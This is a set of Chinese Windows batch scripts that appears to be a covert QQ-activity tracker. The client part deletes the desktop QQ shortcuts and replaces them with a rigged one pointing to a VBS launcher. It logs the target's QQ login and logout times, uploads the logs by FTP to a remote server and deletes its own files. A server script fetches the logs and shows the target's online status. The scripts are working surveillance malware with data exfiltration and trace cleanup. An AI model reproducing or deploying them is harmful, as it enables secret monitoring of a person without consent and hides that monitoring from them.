REM 搜索桌面上的QQ图标然后删除, 然后创建一个新的Q图标,目标是QQ.vbs
for /r "%userprofile%\桌面" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
for /r "%allusersprofile%\桌面" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
Shortcut.exe /f:"%userprofile%\桌面\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0"
REM 删除所有用过的文件
del qq.vbs
del qq.bat
del sleep.exe
del Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del 没有找到目录344536606.txt
del 初始化.bat
exit
REM 没有找到的话就向ftp反回报告
:no
ftp -s:noicq
del qq.vbs
del qq.bat
del sleep.exe
Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del 没有找到目录344536606.txt
del 初始化.bat
QQ.bat 内容
REM 以QQ号码文件目录下的 ewh.db做为判断上线,naccountservice.dat判断下线
@echo off
del 344536606\ewh.db
del 344536606\naccountservice.dat
start qq.exe
:start
date /t > 344536606on.txt
time /t >> 344536606on.txt
ftp -s:344536606on
REM 如果在344536606exit.txt找到了:就代表上次运行完成,没有被Kiss或重启,如果没有找到就上传报告
type 344536606exit.txt|find ":" && goto online
ftp -s:344536606error
date /t >> 344536606error.txt
time /t >> 344536606error.txt
ftp -s:344536606error2
REM 检测naccountservice.dat ,如果有了,就代表下线了
:online
set qqpath="%cd%"
cd 344536606
dir|find "naccountservice.dat" && goto downline
cd /d "%qqpath%"
ping -n 6 127.1 > nul
goto online
:downline
cd /d "%qqpath%"
date /t > 344536606down.txt
time /t >> 344536606down.txt
time /t > 344536606exit.txt
ftp -s:344536606down
del 344536606down.txt
del 344536606exit.txt
exit
REM 打开QQ后如果没检测到ewh.db 就继续检测几次,因为有些人打开QQ会过一下才上
:detect
set /a max=%max%+1
if %max%==6 exit
set qqpath2="%cd%"
cd 344536606
dir|find "ewh.db" && cd /d "%qqpath2%" && goto start
cd /d "%qqpath2%"
ping -n 6 127.1 > nul
goto detect
服务端文件:
_______________
Server.bat
Server
_______________
Server.bat 内容
@echo off
:loop
color 07
ftp -s:Server
cls
color 0a
type 没有找到目录344536606.txt|find "QQ" && goto exit
type 344536606exit.txt|find ":" && goto no
cls
echo.
echo.
echo.
echo 对方在线...
echo.
echo.
echo 对方上次--下线时间: && type 344536606down.txt
echo.
echo.
echo 对方本次--上线时间: && type 344536606on.txt
echo.
echo.
echo 对方最近最近几次的异常退出记录 && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop
Server 内容
open xxx.xxx.xxx
username
password
cd wwwroot
get 344536606on.txt
get 344536606down.txt
get 344536606exit.txt
get 344536606error.txt
get 没有找到目录344536606.txt
bye